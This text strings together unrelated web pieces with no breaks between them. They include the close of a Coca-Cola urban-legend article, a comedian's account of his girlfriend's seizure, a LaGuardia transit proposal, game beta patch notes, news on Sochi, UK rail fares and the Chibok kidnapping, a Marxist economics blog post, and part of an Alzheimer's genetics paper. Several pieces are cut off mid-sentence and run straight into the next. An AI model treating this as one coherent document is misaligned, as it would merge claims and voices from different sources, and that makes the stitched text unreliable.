The company’s rebound from this disaster was nothing short of a miracle (hence the persistent belief that the whole thing must have been planned). Yet it’s a very understandable miracle once you think about it. It took the loss of the beverage people had grown up with and fallen in love over to remind them how much it meant to them. No longer taken for granted, Coca-Cola had been reaffirmed in their affections. As for the debacle’s being a deliberate marketing ploy, Donald Keough said: “Some critics will say Coca-Cola made a marketing mistake. Some cynics will say that we planned the whole thing. The truth is we are not that dumb, and we are not that smart.”
Barbara “kvetch the wave” Mikkelson
Last updated: 19 May 2011
Sources:Earlier this week, comedian Doug Stanhope broke the news to his fans that his long-time girlfriend Bingo was unconscious in a Tucson hospital ICU after an incident on Sunday night — just prior to her scheduled 40th birthday party on Monday. Never one to shy away from finding the humor in any situation, Doug tweeted a series of jokes over the next couple of days about Bingo being in a coma, but didn’t convey any details about what happened except to say she “fell down went boom.”
That all changed last night when Doug posted an episode of his podcast titled “Bingo In A Coma” in which he described in great detail everything that happened leading up to Bingo’s seizure and after, which included lots of cocaine, 4AM karaoke, lots more cocaine, and Marilyn Manson.
UPDATE – BINGO HAS REGAINED CONSCIOUSNESS! CLICK HERE TO READ ALL THE LATEST UPDATES FROM DOUG.
Here’s a not-so-brief recap:
Bingo (photo above) was having a huge 40th birthday party on Monday, which was two days prior to her actual birthday. Doug explains that whenever there is some major event like this that Bingo tends to do a lot of cocaine and goes without sleep to make sure she gets all of the preparations done — and her 40th birthday was was no exception.
On Sunday evening, after many of the guests had already arrived for the next day’s festivities, Bingo suffered a seizure at approximately 8:30PM while on the driveway, and she fell backwards, hitting the back of her head on some steps and being knocked unconscious. A friend that was there was a nurse and he inspected Bingo’s injuries, which included a large gash on the back of her head that was streaming blood.
“All I could think is that’s how she used to fake orgasms,” |
iver light rail to a gigantic new train terminal located across the water in Port Morris, an industrial neighborhood in the Bronx, as shown in this drawing by Venturi's collaborator, Sigmund Lerner:
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This rail station is a critical crux of the plan: A 22-track wonder that would include new connections to the A Train and New Jersey Transit and Amtrak, but also to Metro-North lines and the Long Island Rail Road.
How would that work? Well, Venturi is also proposing a second station in Sunnyside, Queens—the current site of a blighted rail yard—which sits directly south of LGA and directly east of Penn Station. That new node would connect LGA not only with Penn Station, but with Jersey across the Hudson:
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And nestled amongst these grand plans for new transit systems are opportunities for development: Venturi envisions the new Port Morris station embedded below a huge convention center to replace Javits with 2.7 million square feet of space.
But while Venturi's transit proposal feels like connective tissue that will take decades—if not centuries—to build, his plan for LaGuardia itself is the real core of the project. Governor Cuomo's new design competition to improve the state of the terminals only goes skin deep, he says. What LGA needs is a bedrock-deep redesign, focusing on doubling the number of runways and turning the airport into a hub into which nearly all of the Northeast corridor's transit lines feed.
Moving Packets
Venturi grew up interesting in computers—despite the celebrity status of his parents in the architecture world, he was more interested in technology, attending early hacker conferences hosted by 2600 Magazine as a teen and eventually working in IT himself. Over the past few years, though, that's changed. "Now, technology feels more mature, and urban planning seems like tomorrow's industry," he says. Transit networks, after all, are not that different from digital networks. "For example, where do the fiber optic cables go?," he says. "Under rail lines. So [data] packets and trains have been routed together forever."
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AP Photo/Mark Lennihan
Upon closer inspection, his ideas for New York are actually closely tied to his work in the early days of internet. He describes an early job connecting email clients, migrating legacy systems towards Microsoft Exchange, as a metaphor for connecting historically distinct train lines in New York. "Those skills are what I bring to this project," he says. "We're taking two legacy systems and unifying them." Also in the works, he tells me, are plans for updating JFK and Newark.
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Make No Small Plans?
Can the deep-seeded, unthinkably complex problems of the largest city in America be solved by a single person? It's unlikely—and Venturi is well aware that his plan falls far beyond the bounds of what a typical urban planner might consider plausible, which he credits to the fact that he grew up in the future-minded tech world, not the planning world. "I bring that to the culture of urban planning now, which tends to be more, well, let's call it realistic," he laughs.
But is there some value in talking about ideas as big as his? Is it possible that New York has a dearth of big plans—specifically because the mistakes made by the OG big thinker, Robert Moses? "It's something that's been missing from New York since the late career excesses of Robert Moses put an end to large-scale planning and development," said one commenter on the NYT. "It makes no sense to inhibit the brainstorming with conjecture about political feasibility," said another.
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The plan is expansive, and it's hard to deny its tidiness if not its realism. But New York, whether it likes it or not, is entering a phase in which expansive plans may figure prominently: After all, the Federal government is funding more than a half billion dollars in storm-proofing infrastructure in New York, including a massive berm that will ring Manhattan to slow storm surges. Venturi sees his plan as part of a push to build a more resilient city, though it will cost far more than half a billion dollars.
Flickr/CC
"It's a very conservative plan, in the sense that anything else is reckless," he says, comparing the current plan to redesign LGA's terminals but not its runways or foundation to "rearranging the deck chairs on the Titanic." Instead, Venturi sees the rising sea levels and storms that have engulfed the airport before as evidence of the need to reassess the airport on a foundational level—literally.
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Of course, in the end, this is just one idea in a sea of socio-economic and political complexities. But Venturi and his team have already reached one major goal: We're thinking about the city in a way that we don't very often. In the end, that might be this project's most significant contribution.During a live stream with PlayStation, Sledgehammer Games revealed some of the new content and updates coming to the Private Beta Weekend 2.
All new Map Aachen
Capture The Flag mode will be added
New level cap. It’s not clear what the level cap will start at, but an Activision Assist article (now removed) says the final beta level cap will be level 40.
With the new level cap, new weapons, scorestreaks, and more will be unlocked: New Sniper Rifle M1A1 Carbine Flamethrower Mortar Strike
TDM score limit will be 100
Kills in Domination will earn 100 points per kill
Search and Destroy will not be available in the beta…will be in the game at launch.
be available in the beta…will be in the game at launch. WWII will feature a map voting system at launch; beta does not have it because they want to make sure all maps are being played for testing.
SOURCE: PS StreamRussian President Vladimir Putin pledged Monday that gay and lesbian athletes and visitors at next year's Winter Olympic Games in Sochi will feel at ease despite Russia's new "homosexual propaganda" ban.
"We will do everything to make sure that athletes, fans and guests feel comfortable at the Olympic Games regardless of their ethnicity, race or sexual orientation," Putin told visiting International Olympic Committee (IOC) President Thomas Bach in remarks broadcast on Russian television.
Russia's adoption in June of a disputed law prohibiting the dissemination of information about homosexuality to minors has sparked protests from international rights groups and calls for a boycott of the country's first post-Soviet Games.
The scandal has already cast a pall over an event closely associated with the powerful Russian leader's image and dubbed by some media as the "Putin Games".
Sochi was meant to showcase the strides Russia has made since the 1980 Summer Games in Moscow were boycotted by a host of Western nations because of the Soviet Union's invasion of Afghanistan.
Russian businesses and the government have already spent a record $50 billion on preparations aimed at turning Sochi - a leafy summer resort on the Black Sea - into a global magnet for winter activities.
Putin declared on Monday that "the objective associated with building Olympic facilities has been met."
The IOC has in previous months tried to steer clear of the political controversy by noting that Russia's new legislation did not contravene the Olympic Charter.
Russian media quoted Bach as complimenting Putin for overseeing preparations for the February 7-23 festivities but did not quote him as saying anything about the gay propaganda ban.
"The IOC is very satisfied with how preparations for the Games are going," news reports quoted Bach as saying.
"I hope that very soon, I will once again have the chance to meet (Putin) in Sochi and to personally award gold medals to your athletes."
Russia's winter Olympians - once a national treasure who made the Soviet Union into a Winter Games superpower - have been under intense scrutiny because of the team's underwhelming performances in preceding events.
The country placed a dire 11th in the medals table at the 2010 event in Vancouver after wining only three gold medals.
Russia's various winter sports federations have since used lavish state funding to attract nearly 100 of the best international coaches to inspire the demoralised squad.
A part of Russia's problem has been the IOC's adoption of new events such as snowboarding that attract young new audiences but in which the country's own athletes have no tradition.
Russia has tried to clear that obstacle by awarding citizenships to star athletes from countries like South Korea that dominate events such as short-track speed skating.
Putin piled still more pressure on Russia's team Monday by noting that the government had spared no expense on its Olympic preparations.
"Obviously, an honourable and successful result by our athletes is no less important that the impeccable staging and preparations for the competition itself," the Russian leader said.
Sports Minister Vitaly Mutko told Putin that Russia still lagged behind other nations in some of the newer skiing events.
But he also promised that the squad "will give fans a reason to be proud."
Edited by Michael BeattieImage caption Season ticket holders around the country are facing average fare rises of 5.8%
A campaign against rail fare rises has begun as millions of commuters return to work after the Christmas break.
The Campaign for Better Transport asked passengers at London's Charing Cross station to sign petitions, write to the government and take part in protests.
Season ticket prices rose by an average 5.8% from Sunday - with some up by as much as 13%.
The government, train operators and London Mayor Boris Johnson say the rises are needed to pay for investment.
'Real world'
Supporters of the campaign donned masks depicting David Cameron and Nick Clegg, while one wore a mask of Transport Secretary Philip Hammond.
The campaign has also won the backing of broadcaster Michael Palin, whose said passengers being "held to ransom" would be forced on to the roads.
The Campaign for Better Transport (CBT) has calculated that the new cost of season tickets works out at about 20% of the average UK salary.
CBT chief executive Stephen Joseph said: "Commuters feel like they are being pickpocketed by the government, expected to pay more year on year for the same poor quality service.
"Even with the promised extra investment, many passengers will see no actual improvement to their daily commute.
"Politicians need to start living in the real world and understand that people simply cannot afford to pay a fifth of their income just to do a day's work.
"The government pledged to create fair fares and we all expect them to keep that promise."
Former Monty Python star Michael Palin, whose TV programmes have followed him travelling on rail networks across the world, said: "Rail fare rises are holding travellers to ransom and increasing the likelihood that people will have to take to our already-overcrowded roads.
"Regular price hikes are no way for the government and train companies to reward their regular customers.
"Instead of milking them, they should be thanking them for their loyalty with a better, simpler, more competitive fare structure."
Increases unwelcome
But a spokesman for the Association of Train Operating Companies said: "Much of what the CBT is saying simply doesn't stack up.
"Passengers are already benefiting from record levels of investment in our railways.
"Nine out of 10 trains get to their destination on time and, according to the independent passenger watchdog, four out of five people are satisfied with the service.
"While we understand people won't welcome any kind of price increases, it is important to remember that we need to continue and sustain investment in our railways."
Javelin spike
And a Department for Transport spokesman said the scale of the national deficit meant the Government had to take tough decisions on future rail fares.
There were commitments to investment in more than 2,100 new rail carriages and a £900m programme to electrify lines and complete Crossrail and Thameslink projects, he said.
Fares on London's Tubes and buses also went up on Sunday, rising by an average of 6.8%.
Regulated fares, which include season tickets, on Southeastern services have been allowed to rise by an average of 7.8% to take account of special investment such as the high-speed Javelin trains.A week after Islamist extremists stormed a remote boarding school in north-east Nigeria, more than 200 girls and young women remain missing despite pursuit by security forces and an independent search by fathers who headed into dense forest to find their daughters.
Parents in Chibok begged for the kidnappers to "have mercy on our daughters" and for the government to rescue them.
"I have not seen my dear daughter, she is a good girl," said Musa Muka, whose 17-year-old daughter, Martha, was taken away. "We plead with the government to help rescue her and her friends. We pray nothing happens to her."
Dozens of students managed to escape their captors by jumping from the back of an open truck after they were kidnapped in the pre-dawn hours of Tuesday last week, or by running away and hiding in the forest.
The number of students missing is unclear. Education officials had said 129, which was the number of students sitting an exam. The girls had been recalled for a physics exam after all schools in Borno state were closed four weeks ago because of security concerns.
But as parents rushed from across Borno state to the boarding school, the number of missing grew. On Monday, parents gave the visiting state governor a list of 234 missing girls and young women aged between 16 and 18.
The school's principal, Asabe Kwambura, said 43 students had been accounted for and 230 were missing. The extremists set the school ablaze.
The mass abduction is an embarrassment for Nigeria's military, which announced last week that security forces had rescued all but eight of those kidnapped, and then was forced to retract the statement.
"The operation is going on and we will continue to deploy more troops," said Major General Chris Olukolade, a defence ministry spokesman.
As confidence in the military eroded, parents and other residents in Chibok pooled money to buy fuel for motorcycles and headed into the nearby Sambisa forest, a known hideout of extremists. One father said they pursued the abductors for 30 miles into the forest before turning back. He said they did not encounter any soldiers.
The Nigerian air force has halted what were near-daily bombings of the forest, presumably because of the kidnapped students. The extremists have abducted handfuls of students in recent months but this mass kidnapping is unprecedented.
Nigeria's military already faced mounting criticism over its failure to curb a five-year Islamist uprising despite having draconian powers under an 11-month state of emergency in three north-eastern states covering one-sixth of the country. More than 1,500 people have been killed during the insurgency so far this year, compared with an estimated 3,600 between 2010 and 2013.
Claims by the military and the government that the extremists were cornered in the remote north-east were shattered by a explosion at a bus station in the capital, Abuja, on 14 April, which killed at least 75 people and wounded 141.
In a video received on Saturday, the leader of the homegrown terrorist network Boko Haram, Abubakar Shekau, claimed responsibility for the Abuja bombing but said nothing about the kidnapped students.
Shekau repeated his opposition to "corrupting" western influences, saying: "Everyone that calls himself a Muslim must stop obeying the constitution, must abandon democracy, must stay away from western education." Boko Haram means "western education is sinful" in the local Hausa language.
The insurgency has forced 750,000 people, many of them farmers, to flee their homes, raising fears of a food shortage. Refugees in neighbouring countries said they were escaping militant attacks as well as the often brutal response of Nigeria's military.Hello everyone. Sorry for the small numbers of articles today, but luckily I found a recent Q&A. Also, I just watched the 3D Ant-Man movie. I gladly reccomend it!
Now, for the news…
-Domination is likely to make a separate, standalone game mode.
-There will be a cool surprise for the 5th anniversary of WoT (Seb: I hope it is a tank. No tank = sad me. I collect those things since the Tetrarch.)
-Replacing Waffentragers in the future is a problem, we think about our options. An alpha nerf is most probable.
-M40/43 will be divided in 2 tanks: one premium and one researchable one.
–CHIEFTAIN AND CENTURION ACTION X WILL APPEAR IN 9.11.
-HD Maps will appear soon, along with DirectX 11 and 12 (!) Work on DirectX11 is underway and will appear sooner.
-ASU-85 will appear in game (most likely as a premium).
Link to info about the ASU-85: https://en.wikipedia.org/wiki/ASU-85
AdvertisementsI know it is fashionable these days, particularly on the left to claim that class is dead – that its not about class any more – that left-right is dead – etc. But there was an interesting Bloomberg article (August 29, 2011) – Give Karl Marx a Chance to Save the World Economy – by one George Magnus, who is listed as a senior economic adviser at UBS Investment Bank. Confused? Why would a banker invoke the thoughts of the long-dead and usually vilified (by bankers) philosopher? For me it is always a normal part of thinking to go back to Marx because his dissection of capitalism – the sources of profits and the importance of seeing beyond the superficial exchange relations and thus understanding class relations embedded in production – has not, in my view, been bettered. And now a banker is suggesting that need to read Karl Marx.
Even so-called progressives these days, think it is fashionable to claim that class is dead – that its not about class any more – that left-right is obsolete – etc.
I recall a US PBR Interview earlier this year with the Democrat-leaning founder of the Huffington Post said, in response to a question about political perceptions of the now AOL-owned site, that:
… I’m tired of hearing myself say — it’s time for all of us in journalism to move beyond left and right. Truly, it is an obsolete way of looking at the problems America is facing.
I guess it would be if you had made millions on the back of free labour. But that is a typical position these days. The conservatives, of-course would always argue that because they seek to obfuscate the workings of the class hierarchy.
They have a vested interest in developing the “free market” myth where we are all, essentially, free traders and own-producers at heart who agree (aided by market forces) to specialise into labour suppliers or capital providers. The myth continues that we are all free traders – everything is voluntary and all exchanges are mediated by market prices which deliver equalised use values to each exchanger to be enjoyed upon completion of the same.
I clearly do not hold that view – that left- and right-wing is an obsolete dichotomy. While I think the dichotomy can be enriched by adding another axis to form a quadrant (for example, Politicial Compass), the left-right axis still has relevance.
The free market – everything can be understood at the exchange level – view falls in a hole when we focus on the labour market. After all, workers do not sell labour – they rather sell labour power (the capacity to work). That immediately invokes a managerial imperative. Why? Answer: because the use-value of the labour power is enjoyed (extracted) within the actual exchange (that is, while the workers are still at work). The use-value – the source of profit – is uncertain and a control function is indicated.
Bosses have to control the realisation of that use value as production in an environment where the majority of workers would rather not be there. That is a very different dynamic environment to one where we go into a shop and buy a trinket to be enjoyed later.
Essentially left and right, for me, is about class dynamics and I am using class in the Marxian sense here. I know there are complex layers over the basic capital-worker distinction and certainly these layers are exploited by the power elites to obscure them further (for example, gender, sexuality, race etc) but when push-comes-to-shove the struggle over the distribution of income arising from production is still highly significant.
We cannot really understand the crisis unless we understand the underlying class dynamics. Sure enough I usually say that the crisis is the result of poor government policy and a failure to employ the fiscal tools at the disposal of governments in an appropriate way. But the question that follows is WHY?
Why are our governments coming under pressure to tighten fiscal policy when it is clear that more spending is desperately required and it doesn’t look like it will come from the non-government sector?
Getting real – how is it that the political debate is being swamped by those who want large spending cuts at a time when unemployment and underemployment in the largest economy is moving close to 20 per cent?
How is it that we ignore the fact that every day, millions of workers are slowly or less slowly exhausting all the wealth that they had built up over their working lives just to live a basic life because their incomes have dried up through lack of work?
How is it that people who say that unemployment benefits should be cut now when for millions they are the only lifeline can even be taken seriously?
How is it that when the major investment banks of Wall Street (and elsewhere in other nations) – who had acted with as much regard for the law and civil society as the bootleggers and dope dealers of the prohibition period – looked like going broke as their bets exploded in their faces – could the government, within hours, announce massive bailouts – yet something as basic as creating public jobs at a minimum wage is deemed unaffordable?
How is it that thousands of criminals are still turning up for work each day in the financial sector and extracting massive bonuses for performing totally unproductive work when thousands of poor (black) individuals are being imprisoned every day for minor crimes against property and usually against their own kind?
Anyway, what has Marx got to do with all of this?
George Magnus says that:
Policy makers struggling to understand the barrage of financial panics, protests and other ills afflicting the world would do well to study the works of a long-dead economist: Karl Marx. The sooner they recognize we’re facing a once-in-a-lifetime crisis of capitalism, the better equipped they will be to manage a way out of it.
This is being said by an advisor to an investment bank and is being published by Bloomberg.
The basis of Magnus’ call for us all to read Marx lies in his view that, while the “wily philosopher’s analysis of capitalism had a lot of flaws … today’s global economy bears some uncanny resemblances to the conditions he foresaw”.
I have been involved in my share of arcane debates about what Marx said and whether we can reinterpret his predictions (falling rate of profit etc) to make them square with the facts. Whatever utility we might get from those rather in-crowd debates, the bottom line is that the basic insights of Marx are still of relevance.
And in noting that we should start with reinstating attention to class.
George Magnus says:
Consider, for example, Marx’s prediction of how the inherent conflict between capital and labor would manifest itself. As he wrote in “Das Kapital,” companies’ pursuit of profits and productivity would naturally lead them to need fewer and fewer workers, creating an “industrial reserve army” of the poor and unemployed: “Accumulation of wealth at one pole is, therefore, at the same time accumulation of misery.”
George Magnus then relates that insight to the current situation in the US “particularly” where “U.S. Companies’ efforts to cut costs and avoid hiring have boosted U.S. corporate profits as a share of total economic output to the highest level in more than six decades, while the unemployment rate stands at 9.1 percent and real wages are stagnant”.
I have written before about who has benefitted from the nascent growth in the US since the crisis began. Please read this blog – The top-end-of-town have captured the growth – which categorically shows that the employed workers have not enjoyed real wages growth while profits have soared and the growing ranks of the unemployed and underemployed have not enjoyed anything.
The neo-liberal period – crisis included – has been an attack on the conditions of workers and the suppression of the lower ends of the income distribution. In this blog – The origins of the economic crisis – I outline how deregulation has dramatically altered the distribution of national income over the last 30 years in the advanced nations with governments being the facilitators.
George Magnus says that in addition to rising profits and entrenched unemployment:
U.S. income inequality, meanwhile, is by some measures close to its highest level since the 1920s. Before 2008, the income disparity was obscured by factors such as easy credit, which allowed poor households to enjoy a more affluent lifestyle. Now the problem is coming home to roost.
Interestingly, the Australian Bureau of Statistics released the latest data today for Household Income and Income Distribution, Australia, 2009-10 which allows us to see the impact of the crisis (partly) on income inequality.
This graph plots the Gini Coefficient (which the ABS say is “a single statistic that lies between 0 and 1 and is a summary indicator of the degree of inequality, with values closer to 0 representing a lesser degree of inequality, and values closer to 1 representing greater inequality”) for Australia from 1994-95 to 2009-10.
To put it in perspective, the values for the US and the UK would be “off the top” of the graph. But the so-called “egalitarian” land of Australia (a myth that is embedded into us as school children) is becoming more like the US every year. There was some respite during the crisis but the trend is clear.
The ABS show that the bottom quintile (20 per cent) of the income distribution receive 7.1 per cent of total income, the next quintile (20-39 per cent) receive 12 per cent; the next quintile (40-59 per cent) receive 16.9 per cent, the fourth quintile (60-79 per cent) receive 23.3 per cent; and the top quintile receive 40.8 per cent of total income.
The ABS also show that the wealth distribution:
… is much more unequal than for income … 20% of households with the lowest net worth accounted for only 1% of total household net worth, with an average net worth of $31,829 per household … The wealthiest 20% of households in Australia account for 62% of total household net worth, with an average net worth of $2.2 million per household.
The US income and wealth distributions are more skewed than this.
The next graph shows the shares in total household income of the bottom (blue columns) and top (grey columns) quintiles of the income distribution. The black lines depict the linear regression trend of each of the series and the direction is obvious.
This data is consistent with the dramatic shifts in factor shares in national income. The data above is focused on the household unit. Factor shares is based on “class” in that it considers wage and profit income. The two distributional perspectives are tied together and offer different views of the same underlying trends (with some complexities).
One of the characteristic features of the last thirty or so years has been the dramatic rise in the profit share (and the commensurate fall in the wage share).
The assault on regulation and the attack on workers’ rights brought about a growing gap between labor productivity and real wage growth. The result has been a dramatic redistribution of national income toward capital in most countries. For example, in the G7 countries between 1982 and 2005 there was a 6 percent drop in the share of national income paid as wages (as opposed to interest or dividends). This was a global trend.
In the past, real wages grew in line with productivity, ensuring that firms could realize their expected profits via sales. With real wages lagging well behind productivity growth, a new way had to be found to keep workers consuming. The trick was found in the rise of “financial engineering,” which pushed ever increasing debt onto the household sector.
Capitalists found that they could sustain sales and receive an additional bonus in the form of interest payments—while also suppressing real wage growth.
Households, enticed by lower interest rates and the relentless marketing strategies of the financial sector, embarked on a credit binge.
The increasing share of real output (income) pocketed by capital became the gambling chips for a rapidly expanding and deregulated financial sector.
Governments claimed this would create wealth for all. And for a while, nominal wealth did grow—though its distribution did not become fairer. However, greed got the better of the bankers, as they pushed increasingly riskier debt onto people who were clearly susceptible to default. This was the origin of the subprime housing crisis of 2007–08.
This is what George Magnus is referring to when he talks about how “easy credit, which allowed poor households to enjoy a more affluent lifestyle” obscured the underlying inequality dynamics.
George Magnus further invokes Marx when he talks about the “Over-Production Paradox”:
Marx also pointed out the paradox of over-production and under-consumption: The more people are relegated to poverty, the less they will be able to consume all the goods and services companies produce. When one company cuts costs to boost earnings, it’s smart, but when they all do, they undermine the income formation and effective demand on which they rely for revenues and profits. This problem, too, is evident in today’s developed world. We have a substantial capacity to produce, but in the middle- and lower-income cohorts, we find widespread financial insecurity and low consumption rates. The result is visible in the U.S., where new housing construction and automobile sales remain about 75% and 30% below their 2006 peaks, respectively. As Marx put it in Kapital: “The ultimate reason for all real crises always remains the poverty and restricted consumption of the masses.”
This has been a topic that I have spent a lot of time thinking and writing about. We cover it in our 2008 book – Full Employment abandoned.
Keynes used the inability of the Neoclassical economists to explain the reality of the 1930s to introduce the concept of involuntary unemployment. Understanding the meaning of involuntary unemployment requires a prior understanding of how the concept of effective demand was introduced into the analysis. The aim was to negate the Classical view that the real outcomes of the economy were determined by the full employment equilibrium achieved in the labour market. In other words, aggregate demand – or more correctly – effective demand matters.
Post Keynesians typically begin with Keynes’ General Theory (1936) in explicating the principle of effective demand. However, the essential elements underpinning the critique of Say and the modern understanding of involuntary unemployment in a monetary capitalist economy can be found in Marx, particularly in Theories of Surplus Value (1863).
Particularly in Chapter 17 there are various discussions about the Classical (Ricardian) denial of the possibility of generalised overproduction and how that erroneous view is based on the idea that products exchange against products. This is at the heart of Classical neutrality which ultimately is the modern version of the claim that fiscal and monetary policy cannot favourably alter real conditions in the economy.
In Theories of Surplus Value Vol 2, Chapter 17 (para 705) we read:
The conception (which really belongs to [James] Mill), adopted by Ricardo from the tedious Say (and to which we shall return when we discuss that miserable individual), that overproduction is not possible or at least that no general glut of the market is possible, is based on the proposition that products are exchanged against products, or as Mill put it, on the “metaphysical equilibrium of sellers and buyers”, and this led to [the conclusion] that demand is determined only by production, or also that demand and supply are identical. The same proposition exists also in the form, which Ricardo liked particularly, that any amount of capital can be employed productively in any country.
Marx really laid into Say. This paragraph also highlights why the use of “barter economy” examples is deeply flawed. A monetary economy has dynamics that are not captured in a barter world where products exchange against products directly.
If we mapped the current conservative (neo-liberal) position (and most of mainstream economics) back into the classical propositions that Marx was attacking we would find the correspondence to be close to 100 per cent in terms of concepts and implications.
They were wrong then and by logical extension they are wrong now.
The existence of a circuit breaker in the form of idle money stocks (recognising that money is more than a means of exchange but also an independent form of commodity) led Marx to conclude that there was the possibility of stagnation (defined as a conflict between purchase and sale) – (see Theories of Surplus Value Vol 2, Chapter 17, paras 710-711).
Interestingly, in TSV (Vol II, Ch XVII, para 712) Marx also anticipated the modern distinction between nominal and effective demand which lies in the understanding of the real contribution of Keynes. Marx noted that in denying the possibility of a general glut, Ricardo appeals to unlimited needs of consumers for commodities and any particular saturation would be quickly overcome by increased demands for other commodities.
He then (TSV, Vol II, Ch XVII, para 712) rhetorically asked for an explanation of the connection between ‘over-production’ and ‘absolute needs’ and indicated that capitalist production and quotes Ricardo’s denial of the “possibility of a general glut in the market”:
Too much of a particular commodity may he produced, of which there may he such a glut in the market, as not to repay the capital expended on it; but this cannot be the case with respect to all commodities; the demand for corn is limited by the mouths which are to eat it, for shoes and coats by the persons who are to wear them; but though a community, or a part of a community, may have as much corn, and as many hats and shoes, as it is able or may wish to consume, the same cannot be said of every commodity produced by nature or by art. Some would consume more wine, if they had the ability to procure it. Others having enough of wine, would wish to increase the quantity or improve the quality of their furniture. Others might wish to ornament their grounds, or to enlarge their houses. The wish to do all or some of these is implanted in every man’s breast; nothing is required but the means, and nothing can afford the means, but an increase of production …
Marx retorted:
Could there be a more childish argument? It runs like this: more of a particular commodity may be produced than can be consumed of it; but this cannot apply to all commodities at the same time. Because the needs, which the commodities satisfy, have no limits and all these needs are not satisfied at the same time. On the contrary. The fulfilment of one need makes another, so to speak, latent. Thus nothing is required, but the means to satisfy these wants, and these means can only be provided through an increase in production. Hence no general overproduction is possible. What is the purpose of all this? In periods of over-production, a large part of the nation (especially the working class) is less well provided than ever with corn, shoes etc., not to speak of wine and furniture. If over-production could only occur when all the members of a nation had satisfied even their most urgent needs, there could never, in the history of bourgeois society up to now, have been a state of general over-production or even of partial over-production. When, for instance, the market is glutted by shoes or calicoes or wines or colonial products, does this perhaps mean that four-sixths of the nation have more than satisfied their needs in shoes, calicoes etc.? What after all has over-production to do with absolute needs? It is only concerned with demand that is backed by ability to pay. It is not a question of absolute over-production—over-production as such in relation to the absolute need or the desire to possess commodities. In this sense there is neither partial nor general over-production; and the one is not opposed to the other.
Note the reference to the capitalist market being “only concerned with demand that is backed by ability to pay. It is not a question of absolute over-production – over-production as such in relation to the absolute need or the desire to possess commodities.”
I urge you to read the whole section in Theories of Surplus Value because its wisdom lies at the heart of the modern problem of high unemployment and stagnant growth. Keynes didn’t offer much more than you can find in this work by Marx.
George Magnus says that the message of Marx in the current crisis is that:
… policy makers have to place jobs at the top of the economic agenda, and consider other unorthodox measures. The crisis isn’t temporary, and it certainly won’t be cured by the ideological passion for government austerity.
He lists “five major planks” for revival:
1. “we have to sustain aggregate demand and income growth” and governments “must make employment creation the litmus test of policy”.
2. “lighten the household debt burden”. He thinks governments should assist low income households to “restructure mortgage debt, or swap some debt forgiveness for future payments to lenders out of any home price appreciation”. In this 2009 blog – When a country is wrecked by neo-liberalism – I outlined a desirable policy initiative to help home-owners who were facing eviction from their homes because they could no longer service their debts. It is similar to that being advocated now by George Magnus.
3. help banks “to get new credit flowing to small companies, especially” by relaxing capital adequacy rules and direct public “spending on or indirect financing of national investment or infrastructure programs”. The exact nature of the intervention is disputable but the intent is not. The solution must see aggregate demand being stimulated and with flat non-government spending, the responsibility for pushing the spending out lies with the government.
4. “to ease the sovereign debt burden in the euro zone, European creditors have to extend the lower interest rates and longer payment terms recently proposed for Greece”. While this would provide temporary relief it doesn’t get to the heart of the matter which is the flawed (and dysfunctional) design of the overall monetary system. Such “relief” would not solve the inherent problem.
5. “to build defenses against the risk of falling into deflation and stagnation, central banks should look beyond bond- buying programs, and instead target a growth rate of nominal economic output”. I do not support the central bank being a major player in counter-stabilisation policy. I will write about this in more detail another time.
Conclusion
I found it interesting that a person who advises the financial markets would suggest that Karl Marx retained relevance. It is clear that capitalism has reached a crisis point after 3 decades of deregulation, privatisation, welfare cuts etc were argued would optimise its performance. It was clear that all this neo-liberal legislation did was to push more power to capital, redistribute real income away from the workers, and reduce the political capacity of governments to use fiscal policy and regulation to mediate the class struggle and sustain full employment.
Capital has |
14, p = 0.21), whereas tangles showed a robust association with cognitive impairment (p<2×10 −16 ). These results are consistent with a sequence of events whereby an effect on the formation of neurofibrillary tangles accounts for the association of the ZNF224 allele with cognitive function.
Similar to the approach taken with the pathological phenotypes, we performed secondary analyses to assess whether any of the SNPs showed more robust association with the five cognitive subdomains that comprise the global cognition score. Linear regression was again used to test for association of each SNP with separate quantitative trait outcomes representing episodic memory, semantic memory, working memory, perceptual speed, and visuospatial ability ( ). Episodic memory impairment, the most characteristic cognitive deficit of AD, was associated with both the ZNF224 locus (p = 0.003) and the PCK1 locus (p = 3.69×10 −4 ). ZNF224 was additionally associated with decline in visuospatial function (p = 0.007), and PCK1 showed evidence for association with semantic memory impairment (p = 0.001).
The global AD pathology score averages the post-mortem density of neuritic and diffuse plaques and neurofibrillary tangles in multiple brain regions; however, we hypothesized that certain AD susceptibility loci might selectively promote one type of pathology, in which case the composite pathologic outcome might dilute statistical power to detect associations. We therefore performed secondary analyses to determine whether any of the candidate SNPs tested demonstrate selective or more robust association signals with separate quantitative measures of plaques or tangle pathology ( ). All analyses were again performed using linear regression models to test for associations with SNP genotypes, adjusted for the effects of age, gender, and education. A SNP at the GALP locus (rs3745833) showed suggestive evidence for association with diffuse plaques (p = 0.003), but not with neurofibrillary tangles (p = 0.373). In contrast, the ZNF224 SNP (rs3746319) was strongly associated with neurofibrillary tangle burden (p = 1.49×10 −4 ), whereas no significant association was seen with either neuritic plaque (p = 0.018) or diffuse plaque (p = 0.290) pathology. Therefore, the association with the tangle subscore is likely the primary driver for the ZNF224 locus association with global AD pathology (p = 0.009), and the composite score appears to dilute statistical power. Interestingly, the PCK1 SNP (rs8192708), which was not associated with the global pathology measure, did show suggestive evidence for association with neuritic plaque pathology (p = 0.007); however, this did not appear to explain the strong association with global cognition (p = 3.57×10 −4 ), as investigated further below.
Although the risk alleles for the associations of both the ZNF224 and PCK1 loci with the intermediate phenotypes in our cohort also increase risk of AD diagnosis ( ), their effects are opposite to that reported in the original GWA studies [6], [10]. In the case of ZNF224, we find that the minor allele, rs3746319 A, is associated with both increased AD pathologic burden and decreased cognitive performance; whereas this variant was protective against AD in the GWA study (G. Beecham and M. Pericak-Vance, personal communication). Similarly, for PCK1, the minor allele, rs8192708 G, significantly protected against cognitive decline in our cohort but was in fact the AD risk allele in the original GWA study [2]. Interestingly, two subsequent replication analyses of rs8192708 documented associations of decreased AD risk with the minor allele, consistent with our findings [4], [38]. Therefore, while the effects of the ZNF224 and PCK1 loci on a diagnosis of AD and on intermediate phenotypes are consistent within our study (and in two other PCK1 replication studies); they are not consistent with the original GWA analyses. In the discussion section, we further address possible explanations for these discrepancies.
